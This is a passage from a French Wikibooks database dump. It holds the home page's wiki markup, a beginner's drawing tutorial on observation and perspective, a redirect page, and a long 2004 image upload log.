Wikibooks http://fr.wikibooks.org/wiki/Accueil MediaWiki 1.7alpha first-letter Media Special Discuter Utilisateur Discussion Utilisateur Wikilivres Discussion Wikilivres Image Discussion Image MediaWiki Discussion MediaWiki Modèle Discussion Modèle Aide Discussion Aide Catégorie Discussion Catégorie Accueil 2 44328 2006-06-11T16:22:56Z Jean-Jacques MILAN 114 restitution de la dernière modification de 160.85.2.50 {| width="100%" |- | width="60%" style="vertical-align:top" | {{Sous section|nom=Accueil/Présentation|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Accueil/Bibliothèque|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} | style="vertical-align:top" | {{Sous section|nom=Accueil/Nouveautés|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Accueil/Lumière Sur|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Accueil/Informations|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Accueil/À propos|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} |} <div style="background-color:#F0E0F0;font-size:1px;height:8px;border:1px solid #AAAAAA;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;"></div> <div style="border:1px solid #F0E0F0;border-top:0px solid white;padding:5px 5px 0 5px;margin-bottom:3ex; background-color:#FFFFFF;"> ==Autres projets Wikimedia== {{Projets Wikimedia}}<br clear="all" /> </div> __NOTOC__ __NOEDITSECTION__ [[ar:]] [[co:]] [[cs:]] [[cy:]] [[da:]] [[de:]] [[el:]] [[en:]] [[eo:]] [[es:]] [[et:]] [[fi:]] [[gl:]] [[he:]] [[hu:]] [[ie:]] [[it:]] [[ja:]] [[ko:]] [[mg:]] [[na:]] [[nl:]] [[pl:]] [[pt:]] [[ru:]] [[sr:]] [[sv:]] [[vi:]] [[zh:]] Dessin 5 45429 2006-06-23T07:07:46Z 86.69.132.117 /* La perspective à un point de fuite */ [[image:William-Adolphe_Bouguereau_(1825-1905)_-_Study_of_a_Seated_Veiled_Female_Figure_(19th_Century).png|thumb|250px|''William Adolphe Bouguereau'']] == Préambule == [[Catégorie:Art]] Les règles presentées ci-dessous s'adressent plutôt à des gens voulant apprendre à dessiner des choses de façon réaliste, plutot que naïve. Pour une interprétation naïve, cela n'est pas forcément nécessaire, il est plus important dans ce cas de travailler la composition. == Quelques règles fondamentales en dessin == * Oublier ce que l'on sait de ce que l'on représente, et donc, représenter ce que l'on voit, pas ce que l'on sait du sujet, ceci permet d'éviter d'utiliser la symbolique plutôt qu'une copie de la représentation, erreur de la majorité des débutants. Un bon exercice pour cela peut être de travailler avec l'image à l'envers. * Se rappeler que pour bien dessiner il faut d'abord bien observer.Il est parfois plus facile d'observer l'espace négatif (le vide autour de l'objet) que l'objet lui même, s'il est complexe. * Organisez l'espace de votre feuille : Essayer de faire une construction plausible, en traçant des traits de construction; en donnant les directions des lignes, en placant les masses, en dessinant les lignes médianes puis les ellipses, dans le cas de cylindres ou de cônes par exemple. C'est à cette étape qu'on construit les lignes de perspectives et les squelettes des objets. * Commencer par faire les contours les plus grossiers des objets que l'on voit, afin d'avoir des proportions un minimum correctes. Si vous n'êtes pas certain de votre trait, allez-y sans trop appuyer et superposez plusieurs dessins de contours. Cela permettra de s'approcher du contour idéal. * Ne commencer à travailler les valeurs (ombres et lumières), que lorsque les formes sont bien en place. Assombrir succintement de larges zones d'ombres les plus contrastées, au moment de la construction, peut cependant aider à mieux visualiser les erreurs. Dans aucun cas, il ne faut cependant commencer à travailler en finesse une zone avant que la construction soit bien établie. * Faire tant que possible des triangulations, afin de vérifier les bons emplacements des différentes parties, cela aide à corriger les problèmes de proportions. * Lorsque la construction paraît solide, et que les proportions sont bonnes, on peut commencer à travailler des détails plus fins, en essayant de découper les details d'abord en zones, puis lorsque celles ci sont positionnées, s'attaquer enfin au détails plus précis. == Un bon entraînement pour bien dessiner == * Dessiner des choses qui restent fixes peu de temps, cela oblige à ne saisir que l'essentiel. * Mieux vaut dessiner beaucoup de formes générales, que beaucoup de détails lorsque l'on débute, ou lorsque l'on veut reprendre ses bases de dessin. * Essayer si possible de faire des études de sujets réels ou d'après photo avant de faire une composition compliquée par imagination pure. * Comme pour tout art, 5 à 30 mn par jour, valent mieux que 2h une fois par semaine. === Exercices === ==== une sphère ==== * Entrainez vous à dessiner un cercle parfait. * Puis, appliquez lui une ombre pour que ce cercle devienne une sphère. * Projetez ensuite l'ombre de la sphère sur le sol. * Vous pouvez refaire cet exercice avec des formes proches plus complexes comme une pomme, une poire, etc... ==== perspective à un point de fuite ==== * Placez un [[point de fuite]] au centre de la feuille. * Dessinez une route droite vue par un automobiliste : Toutes les lignes ayant la direction de la route doivent, sur le dessin, passer par le point de fuite central. * Dessinez les trottoirs, les batiments, les lampadaires, les lignes électriques. == La ou les perspectives == Il existe différentes façons de représenter la perspective en dessin, elle sont plus ou moins simplistes. Les plus simples suffisent dans certains cas, d'autres sont indispensables dans des images plus complexes. === La perspective cavalière === Majoritairement utilisée en conception (CAO, architecture), elle n'utilise pas de [[point de fuite]]. === La perspective à un point de fuite === Utilisée pour representer des routes, ou des grands objets fuyant tout droit, en suivant le sens du regard, elle est également utilisée par les cartes 3D, et la majorité des algorithmes 3D, créant des artifices visuels lorsque de grands objets traversent le champ de vision de la caméra virtuelle. Et aussi tout ce qui est droit. il faut garder en memoire que la perspective n existe pas . elle est une interpretation theorique de notre vision .elle a été toujours été presentie par les artistes , mais ce n est qu a la renaissance que des lois regisserent la representation sur un plan fuyant , nouveau desire pour les artistes de s approcher du reel . === Les perspectives à plusieurs points de fuite === Utilisées en dessin lorsque des objets de taille importante ne fuient pas dans le même sens que le regard du dessinateur. ==== La perspective cylindrique ==== On en trouve des traces dès le Moyen-Âge, M.C Escher en a fait un de ses outils de prédilection, ils sont indispensables dans les décors lors de travelling en dessin animé. Il s'agit de plans allongés, où 2 points de fuites se trouvent à des points opposés du rectangle du plan. Les points les plus proches ne sont pas reliés au point de fuite par des droites mais par des courbes. Cela donne un résultat proche de la réalité dans certains cas. :ex: dans une rue, représentation dans un seul plan, de l'extrémité gauche de la rue, d'une façade de la rue, et de l'extrémité droite. Un panoramique en photo. ==== La perspective sphérique ==== La perspective est celle qui aujourd'hui s'approche le plus de la réalité spatiale, telle qu'elle est perçue par l'oeil humain. Les fuites ne se font pas que suivant un plan, mais dans toutes les directions, et par courbe, comme dans la perspective cylindrique. :ex: un panoramique 360° dans les sens vertical et horizontal en photo, le logiciel quicktimeVR. Image:Go To Random Page.png 6 11814 2004-12-29T14:30:19Z Xillimiandus 134 + redirect. #REDIRECT [[Special:Randompage]] Wikilivres:Log d'upload 7 sysop 11815 2004-12-21T01:16:07Z Jean-Jacques MILAN 114 "Lois_de_deformation_des_ressorts_02.png" copié sur le serveur: Lois de déformation des ressorts 02 <ul><li>21 déc 2004 à 01:16 [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] "[[:Image:Lois_de_deformation_des_ressorts_02.png|Lois_de_deformation_des_ressorts_02.png]]" copié sur le serveur <em>(Lois de déformation des ressorts 02)</em></li> <li>21 déc 2004 à 01:09 [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] "[[:Image:Lois_de_deformation_des_ressorts_01.png|Lois_de_deformation_des_ressorts_01.png]]" copié sur le serveur <em>(Lois de deformation des ressorts 01)</em></li> <li>21 déc 2004 à 01:04 [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] "[[:Image:Lois_de_deformation_des_ressorts_07.png|Lois_de_deformation_des_ressorts_07.png]]" copié sur le serveur <em>(Lois de déformation des ressorts 07)</em></li> <li>21 déc 2004 à 00:53 [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] "[[:Image:Lois_de_deformation_des_ressorts_06.png|Lois_de_deformation_des_ressorts_06.png]]" copié sur le serveur <em>(Lois de déformation des ressorts 06)</em></li> <li>14 déc 2004 à 01:22 [[Utilisateur:Looxix|Looxix]] "[[:Image:Screenshot-Looxix.png|Screenshot-Looxix.png]]" copié sur le serveur</li> <li>14 déc 2004 à 00:51 [[Utilisateur:Looxix|Looxix]] "[[:Image:Screenshot-Looxix.png|Screenshot-Looxix.png]]" copié sur le serveur <em>(&#123;&#123;DomainePublic}} screenshot, à jeter dans qq jours)</em></li> <li>3 déc 2004 à 09:52 [[Utilisateur:Topf|Topf]] "[[:Image:180px-Europa-Zeus-LDS.jpg|180px-Europa-Zeus-LDS.jpg]]" copié sur le serveur <em>(europe)</em></li> <li>3 déc 2004 à 08:52 [[Utilisateur:Topf|Topf]] "[[:Image:Masaccio.jpg|Masaccio.jpg]]" copié sur le serveur <em>(Masaccio)</em></li> <li>3 déc 2004 à 08:51 [[Utilisateur:Topf|Topf]] "[[:Image:Carteeuropa.jpg|Carteeuropa.jpg]]" copié sur le serveur <em>(carte de l&#39;europe 1933)</em></li> <li>2 déc 2004 à 02:06 [[Utilisateur:Tipiac|Tipiac]] "[[:Image:Densitétable.gif|Densitétable.gif]]" copié sur le serveur <em>(GFDL)</em></li> <li>2 déc 2004 à 01:59 [[Utilisateur:Tipiac|Tipiac]] "[[:Image:Compositionbatterie.jpg|Compositionbatterie.jpg]]" copié sur le serveur <em>(GFDimage )</em></li> <li>1 déc 2004 à 15:25 [[Utilisateur:MG|MG]] "[[:Image:WikiLivres.PNG|WikiLivres.PNG]]" copié sur le serveur <em>(Logo WikiLivres PNG source: wikibooks Image Modifiée francisée &#123;&#123;GFDL}} &#91;&#91;Utilisateur:MG]])</em></li> <li>28 nov 2004 à 10:40 [[Utilisateur:Esope|Esope]] "[[:Image:SãoTomé_and_P_flag_medium.png|SãoTomé_and_P_flag_medium.png]]" copié sur le serveur <em>(Drapeau de &quot;SãoTomé and Príncipe&quot;, repris de l&#39;ancien site)</em></li> <li>28 nov 2004 à 10:39 [[Utilisateur:Esope|Esope]] "[[:Image:East_timor_flag_medium.png|East_timor_flag_medium.png]]" copié sur le serveur <em>(Drapeau de &quot;East timor&quot;, repris de l&#39;ancien site)</em></li> <li>28 nov 2004 à 10:38 [[Utilisateur:Esope|Esope]] "[[:Image:Guinea_bissau_flag_medium.png|Guinea_bissau_flag_medium.png]]" copié sur le serveur <em>(Drapeau du Guinea Bissau, repris de l&#39;ancien site)</em></li> <li>28 nov 2004 à 10:38 [[Utilisateur:Esope|Esope]] "[[:Image:Cape_verde_flag_medium.png|Cape_verde_flag_medium.png]]" copié sur le serveur <em>(Drapeau du Cape Verde, repris de l&#39;ancien site)</em></li> <li>28 nov 2004 à 10:36 [[Utilisateur:Esope|Esope]] "[[:Image:Mozambique_flag_medium.png|Mozambique_flag_medium.png]]" copié sur le serveur <em>(Drapeau du Mozambique, repris de l&#39;ancien site)</em></li> <li>28 nov 2004 à 10:36 [[Utilisateur:Esope|Esope]] "[[:Image:Angola_flag_medium.png|Angola_flag_medium.png]]" copié sur le serveur <em>(Drapeau de l&#39;Angola, repris de l&#39;ancien site)</em></li> <li>28 nov 2004 à 10:35 [[Utilisateur:Esope|Esope]] "[[:Image:Portugal_flag_medium.png|Portugal_flag_medium.png]]" copié sur le serveur <em>(Drapeau du Portugal, repris de l&#39;ancien site)</em></li> <li>28 nov 2004 à 10:34 [[Utilisateur:Esope|Esope]] "[[:Image:Brazil_flag_medium.png|Brazil_flag_medium.png]]" copié sur le serveur <em>(Drapeau du Brésil, repris de l&#39;ancien site)</em></li> <li>26 nov 2004 à 07:59 [[Utilisateur:Yann|Yann]] "[[:Image:Qt_logo.jpg|Qt_logo.jpg]]" copié sur le serveur <em>(Logo QT provenant de www.trolltech.com. Utilisé en vertu du Fair Use. Tous droits réservés.)</em></li> <li>26 nov 2004 à 07:56 [[Utilisateur:Yann|Yann]] "[[:Image:Gtk.png|Gtk.png]]" copié sur le serveur <em>(Logo Gtk)</em></li> <li>23 nov 2004 à 15:13 [[Utilisateur:Nojhan|Nojhan]] "[[:Image:Exemple_arborescence_dossiers.png|Exemple_arborescence_dossiers.png]]" copié sur le serveur <em>(Exemple d&#39;arborescence d&#39;un système de fichier.)</em></li> <li>21 nov 2004 à 19:41 [[Utilisateur:Xmlspeed|Xmlspeed]] "[[:Image:OsiriX_10.2.jpg|OsiriX_10.2.jpg]]" copié sur le serveur <em>(OsiriX 10.2 (GPL licence))</em></li> <li>21 nov 2004 à 19:40 [[Utilisateur:Xmlspeed|Xmlspeed]] "[[:Image:OsiriX_10.1.jpg|OsiriX_10.1.jpg]]" copié sur le serveur <em>(OsiriX 10.2 (GPL licence))</em></li> <li>21 nov 2004 à 19:41 [[Utilisateur:Xmlspeed|Xmlspeed]] "[[:Image:OsiriX_9.2.jpg|OsiriX_9.2.jpg]]" copié sur le serveur <em>(OsiriX 9.2 (GPL licence))</em></li> <li>21 nov 2004 à 19:37 [[Utilisateur:Xmlspeed|Xmlspeed]] "[[:Image:OsiriX_9.1.jpg|OsiriX_9.1.jpg]]" copié sur le serveur <em>(OsiriX 9.1 (GPL licence))</em></li> <li>20 nov 2004 à 23:21 [[Utilisateur:Xmlspeed|Xmlspeed]] "[[:Image:OsiriX_8.2.jpg|OsiriX_8.2.jpg]]" copié sur le serveur <em>(OsiriX 8.2 (license GPL))</em></li> <li>20 nov 2004 à 23:20 [[Utilisateur:Xmlspeed|Xmlspeed]] "[[:Image:OsiriX_8.1.jpg|OsiriX_8.1.jpg]]" copié sur le serveur <em>(OsiriX 8.1 (licence GPL))</em></li> <li>20 nov 2004 à 22:39 [[Utilisateur:Xmlspeed|Xmlspeed]] "[[:Image:OsiriX_6.1.jpg|OsiriX_6.1.jpg]]" copié sur le serveur <em>(OsiriX_6.1 (Licence GPL))</em></li> <li>17 nov 2004 à 21:54 [[Utilisateur:Xmlspeed|Xmlspeed]] "[[:Image:OsiriX_5.1.jpg|OsiriX_5.1.jpg]]" copié sur le serveur <em>(OsiriX_5.1 (licence GPL))</em></li> <li>17 nov 2004 à 21:38 [[Utilisateur:Xmlspeed|Xmlspeed]] "[[:Image:OsiriX_4.1.jpg|OsiriX_4.1.jpg]]" copié sur le serveur <em>(OsiriX_4.1.jpg (licence GPL))</em></li> <li>17 nov 2004 à 19:44 [[Utilisateur:Esope|Esope]] "[[:Image:Logo_java.JPG|Logo_java.JPG]]" copié sur le serveur <em>(Logo Java provenant de java.sun.com. Utilisé en vertu du principe de Fair Use. Tous droits réservés.)</em></li> <li>16 nov 2004 à 17:58 [[Utilisateur:Yann|Yann]] "[[:Image:Gujarati.png|Gujarati.png]]" copié sur le serveur <em>(Gujarati &#123;&#123;GFDL}} Vincent Ramos)</em></li> <li>15 nov 2004 à 16:39 [[Utilisateur:Yann|Yann]] "[[:Image:Blue.png|Blue.png]]" copié sur le serveur <em>(avancement 75 %)</em></li> <li>13 nov 2004 à 21:59 [[Utilisateur:Xmlspeed|Xmlspeed]] "[[:Image:OsiriXListenerSetup2.jpg|OsiriXListenerSetup2.jpg]]" copié sur le serveur <em>(OsiriXListenerSetup2 (licence GPL))</em></li> <li>9 nov 2004 à 23:39 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image094.gif|Image094.gif]]" copié sur le serveur <em>(synthèse d&#39;acides gras à partir de glucides)</em></li> <li>9 nov 2004 à 23:38 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image092.gif|Image092.gif]]" copié sur le serveur <em>(bilan énergétique catabolisme d&#39;un acide gras en C18)</em></li> <li>9 nov 2004 à 23:37 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image090.gif|Image090.gif]]" copié sur le serveur <em>(hélice de Lynen)</em></li> <li>9 nov 2004 à 23:37 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image088.gif|Image088.gif]]" copié sur le serveur <em>(béta-oxydation des acides gras)</em></li> <li>9 nov 2004 à 23:36 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image086.gif|Image086.gif]]" copié sur le serveur <em>(béta-oxydation des acides gras)</em></li> <li>9 nov 2004 à 23:35 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image084.gif|Image084.gif]]" copié sur le serveur <em>(catabolisme des lipides)</em></li> <li>9 nov 2004 à 23:34 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image082.gif|Image082.gif]]" copié sur le serveur <em>(métabolisme des acides aminés)</em></li> <li>9 nov 2004 à 23:33 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image080.gif|Image080.gif]]" copié sur le serveur <em>(métabolisme des acides aminés)</em></li> <li>9 nov 2004 à 23:33 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image078.gif|Image078.gif]]" copié sur le serveur <em>(cycle de l&#39;urée)</em></li> <li>9 nov 2004 à 23:32 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image076.gif|Image076.gif]]" copié sur le serveur <em>(désamination + transamination)</em></li> <li>9 nov 2004 à 23:31 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image074.gif|Image074.gif]]" copié sur le serveur <em>(décarboxylation)</em></li> <li>9 nov 2004 à 23:31 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image072.gif|Image072.gif]]" copié sur le serveur <em>(exemple de transamination)</em></li> <li>9 nov 2004 à 23:30 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image070.gif|Image070.gif]]" copié sur le serveur <em>(transamination)</em></li> <li>9 nov 2004 à 23:29 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image068.gif|Image068.gif]]" copié sur le serveur <em>(exemple de désamination oxydative)</em></li> <li>9 nov 2004 à 23:29 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image066.gif|Image066.gif]]" copié sur le serveur <em>(désamination oxydative)</em></li> <li>9 nov 2004 à 23:28 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image064.gif|Image064.gif]]" copié sur le serveur <em>(anabolisme et catabolisme des acides aminés)</em></li> <li>9 nov 2004 à 23:27 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image062.gif|Image062.gif]]" copié sur le serveur <em>(les acides aminés)</em></li> <li>9 nov 2004 à 23:25 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image060.gif|Image060.gif]]" copié sur le serveur <em>(catabolisme des glucides)</em></li> <li>9 nov 2004 à 23:25 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image058.gif|Image058.gif]]" copié sur le serveur <em>(cycle de Krebs)</em></li> <li>9 nov 2004 à 23:24 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image056.gif|Image056.gif]]" copié sur le serveur <em>(glycolyse et cycle de Krebs)</em></li> <li>9 nov 2004 à 23:23 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image054.gif|Image054.gif]]" copié sur le serveur <em>(localisation mitochondriale de la chaîne respiratoire)</em></li> <li>9 nov 2004 à 23:23 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image052.gif|Image052.gif]]" copié sur le serveur <em>(Coenzymes FAD et NAD)</em></li> <li>9 nov 2004 à 23:22 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image050.gif|Image050.gif]]" copié sur le serveur <em>(Coenzymes)</em></li> <li>9 nov 2004 à 23:21 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image048.gif|Image048.gif]]" copié sur le serveur <em>(Devenir du pyruvate dans la mitochondrie)</em></li> <li>9 nov 2004 à 23:20 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image046.gif|Image046.gif]]" copié sur le serveur <em>(Devenir du pyruvate)</em></li> <li>9 nov 2004 à 23:20 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image044.gif|Image044.gif]]" copié sur le serveur <em>(La glycolyse)</em></li> <li>9 nov 2004 à 23:19 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image042.gif|Image042.gif]]" copié sur le serveur <em>(La glycogenolyse)</em></li> <li>9 nov 2004 à 23:18 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image040.gif|Image040.gif]]" copié sur le serveur <em>(La glycogenèse)</em></li> <li>9 nov 2004 à 23:17 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image038.gif|Image038.gif]]" copié sur le serveur <em>(Métabolisme glucidique)</em></li> <li>9 nov 2004 à 23:16 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image036.gif|Image036.gif]]" copié sur le serveur <em>(Métabolisme glucidique : généralités)</em></li> <li>9 nov 2004 à 23:10 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image034.gif|Image034.gif]]" copié sur le serveur <em>(Coenzymes : FAD et FMN)</em></li> <li>9 nov 2004 à 23:09 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image032.gif|Image032.gif]]" copié sur le serveur <em>(FAD : Flavine Adénine Dinucléotide)</em></li> <li>9 nov 2004 à 23:06 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image030.gif|Image030.gif]]" copié sur le serveur <em>(Coenzymes : transfert de groupes)</em></li> <li>9 nov 2004 à 23:05 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image028.gif|Image028.gif]]" copié sur le serveur <em>(Coenzymes : réaction)</em></li> <li>9 nov 2004 à 23:04 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image026.gif|Image026.gif]]" copié sur le serveur <em>(Les Coenzymes)</em></li> <li>9 nov 2004 à 23:03 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image024.gif|Image024.gif]]" copié sur le serveur <em>(Adénosine, AMP, ADP, ATP)</em></li> <li>9 nov 2004 à 23:00 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image022.gif|Image022.gif]]" copié sur le serveur <em>(ATP (Adénosine Tri Phosphate))</em></li> <li>9 nov 2004 à 23:00 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image020.gif|Image020.gif]]" copié sur le serveur</li> <li>9 nov 2004 à 22:59 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image018.gif|Image018.gif]]" copié sur le serveur <em>(ATP (Adénosine Tri-Phosphate))</em></li> <li>9 nov 2004 à 22:57 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image016.gif|Image016.gif]]" copié sur le serveur <em>(Réactions exergoniques et endergoniques : application avec le Glucose)</em></li> <li>9 nov 2004 à 22:55 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image014.gif|Image014.gif]]" copié sur le serveur <em>(Les réactions endergoniques et exergoniques)</em></li> <li>9 nov 2004 à 22:53 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image012.gif|Image012.gif]]" copié sur le serveur <em>(Les différentes énergies)</em></li> <li>9 nov 2004 à 22:52 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image010.gif|Image010.gif]]" copié sur le serveur <em>(Schéma général de l&#39;Energie)</em></li> <li>9 nov 2004 à 22:49 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image008.gif|Image008.gif]]" copié sur le serveur <em>(Généralités en énergétique)</em></li> <li>9 nov 2004 à 22:48 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image006.gif|Image006.gif]]" copié sur le serveur <em>(Etat de jeûne)</em></li> <li>9 nov 2004 à 22:45 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image004.gif|Image004.gif]]" copié sur le serveur <em>(Etat post-prandial)</em></li> <li>9 nov 2004 à 22:43 [[Utilisateur:Bionet|Bionet]] "[[:Image:Image001.png|Image001.png]]" copié sur le serveur <em>(logo du livre sur les voies métaboliques)</em></li> <li>9 nov 2004 à 21:59 [[Utilisateur:Bionet|Bionet]] "[[:Image:Capture1.png|Capture1.png]]" copié sur le serveur <em>(état post prandial)</em></li> <li>9 nov 2004 à 21:04 [[Utilisateur:Esope|Esope]] "[[:Image:Uml.jpg|Uml.jpg]]" copié sur le serveur <em>(Logo UML. Provient de www.omg.org. Utilisé en vertu du principe de Fair Use. Tous droits réservés)</em></li> <li>9 nov 2004 à 20:34 [[Utilisateur:Esope|Esope]] "[[:Image:Extreme_programming.png|Extreme_programming.png]]" copié sur le serveur <em>(Extreme programming.png)</em></li> <li>9 nov 2004 à 19:53 [[Utilisateur:Esope|Esope]] "[[:Image:Xp_logo.jpg|Xp_logo.jpg]]" copié sur le serveur <em>(Xp logo.jpg)</em></li> <li>9 nov 2004 à 14:25 [[Utilisateur:Yann|Yann]] "[[:Image:Japan_coa.png|Japan_coa.png]]" copié sur le serveur <em>(Armoiries du Japon)</em></li> <li>9 nov 2004 à 14:25 [[Utilisateur:Yann|Yann]] "[[:Image:Japan_flag_medium.png|Japan_flag_medium.png]]" copié sur le serveur <em>(Drapeau du Japon)</em></li> <li>8 nov 2004 à 00:41 [[Utilisateur:Xmlspeed|Xmlspeed]] "[[:Image:Logo.jpg|Logo.jpg]]" copié sur le serveur <em>(Logo)</em></li> <li>7 nov 2004 à 15:33 [[Utilisateur:Caton|Caton]] "[[:Image:Poubelle.png|Poubelle.png]]" copié sur le serveur <em>(fr:)</em></li> <li>7 nov 2004 à 15:30 [[Utilisateur:Caton|Caton]] "[[:Image:WikiLettreMini.png|WikiLettreMini.png]]" copié sur le serveur <em>(copié de fr:)</em></li> <li>16 oct 2004 à 10:07 [[Utilisateur:Yann|Yann]] "[[:Image:Gnu-head.png|Gnu-head.png]]" copié sur le serveur <em>(Symbole de GNU)</em></li> <li>16 oct 2004 à 10:01 [[Utilisateur:Yann|Yann]] "[[:Image:Hindi.png|Hindi.png]]" copié sur le serveur <em>(Hindi&lt;br /&gt;&#123;&#123;GFDL}} Vincent Ramos)</em></li> <li>1 oct 2004 à 12:03 [[Utilisateur:Yann|Yann]] "[[:Image:LPIC.png|LPIC.png]]" copié sur le serveur <em>(Logo LPI)</em></li> <li>30 sep 2004 à 15:58 [[Utilisateur:Guillaumito|Guillaumito]] "[[:Image:Latex.png|Latex.png]]" copié sur le serveur</li> <li>28 sep 2004 à 11:41 [[Utilisateur:Guillaumito|Guillaumito]] "[[:Image:Latex_premier_exemple.png|Latex_premier_exemple.png]]" copié sur le serveur</li> <li>27 sep 2004 à 09:27 [[Utilisateur:Gauz|Gauz]] "[[:Image:Gvim.png|Gvim.png]]" copié sur le serveur <em>(description de gvim)</em></li> <li>27 sep 2004 à 09:24 [[Utilisateur:Gauz|Gauz]] "[[:Image:Gvim.jpg|Gvim.jpg]]" copié sur le serveur <em>(description de gvim)</em></li> <li>27 sep 2004 à 08:50 [[Utilisateur:Gauz|Gauz]] "[[:Image:Gvim.jpg|Gvim.jpg]]" copié sur le serveur <em>(description de gvim)</em></li> <li>26 sep 2004 à 20:45 [[Utilisateur:Guillaumito|Guillaumito]] "[[:Image:Tab_lam_tierce.png|Tab_lam_tierce.png]]" copié sur le serveur <em>(Montée/descente de la mineur par tierces)</em></li> <li>26 sep 2004 à 15:08 [[Utilisateur:Guillaumito|Guillaumito]] "[[:Image:Tab_la_mineur.png|Tab_la_mineur.png]]" copié sur le serveur</li> <li>26 sep 2004 à 15:07 [[Utilisateur:Guillaumito|Guillaumito]] "[[:Image:Tab_la_mineur.png|Tab_la_mineur.png]]" copié sur le serveur</li> <li>26 sep 2004 à 15:05 [[Utilisateur:Guillaumito|Guillaumito]] "[[:Image:Tab_la_mineur.png|Tab_la_mineur.png]]" copié sur le serveur <em>(Montée et descente d&#39;une gamme de la mineur)</em></li> <li>26 sep 2004 à 14:55 [[Utilisateur:Guillaumito|Guillaumito]] "[[:Image:Tab_la_mineur.png|Tab_la_mineur.png]]" copié sur le serveur <em>(Tablature d&#39;une montée et descente de la gamme de la mineur)</em></li> <li>24 sep 2004 à 22:22 [[Utilisateur:Guillaumito|Guillaumito]] "[[:Image:Basse.png|Basse.png]]" copié sur le serveur <em>(schèma d&#39;une touche de basse)</em></li> <li>1 aoû 2004 à 15:46 [[Utilisateur:HB|HB]] "[[:Image:Venezuela_flag_medium.png|Venezuela_flag_medium.png]]" copié sur le serveur <em>(migration (auteur ThomasStrohmann ))</em></li> <li>1 aoû 2004 à 15:44 [[Utilisateur:HB|HB]] "[[:Image:Peru_flag_medium.png|Peru_flag_medium.png]]" copié sur le serveur <em>(migration (auteur ThomasStrohmann ))</em></li> <li>1 aoû 2004 à 15:42 [[Utilisateur:HB|HB]] "[[:Image:Colombia_flag_medium.png|Colombia_flag_medium.png]]" copié sur le serveur <em>(migration (auteur ThomasStrohmann ))</em></li> <li>1 aoû 2004 à 15:38 [[Utilisateur:HB|HB]] "[[:Image:Argentina_flag_medium.png|Argentina_flag_medium.png]]" copié sur le serveur <em>(migration (auteur ThomasStrohmann ))</em></li> <li>1 aoû 2004 à 15:33 [[Utilisateur:HB|HB]] "[[:Image:Mexico_flag_medium.png|Mexico_flag_medium.png]]" copié sur le serveur <em>(migration (auteur ThomasStrohmann ))</em></li> <li>1 aoû 2004 à 15:25 [[Utilisateur:HB|HB]] "[[:Image:Spain_flag_medium.png|Spain_flag_medium.png]]" copié sur le serveur <em>(migration (auteur ThomasStrohmann ))</em></li> <li>1 aoû 2004 à 15:15 [[Utilisateur:HB|HB]] "[[:Image:Novios.jpg|Novios.jpg]]" copié sur le serveur <em>(migration (auteur Karl Wick))</em></li> <li>31 jul 2004 à 12:07 [[Utilisateur:Simias|Simias]] "[[:Image:Red.png|Red.png]]" copié sur le serveur <em>(rouge)</em></li> <li>31 jul 2004 à 12:06 [[Utilisateur:Simias|Simias]] "[[:Image:Green.png|Green.png]]" copié sur le serveur <em>(vert)</em></li> <li>31 jul 2004 à 12:06 [[Utilisateur:Simias|Simias]] "[[:Image:Yellow.png|Yellow.png]]" copié sur le serveur <em>(jaune)</em></li> <li>30 jul 2004 à 21:59 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] 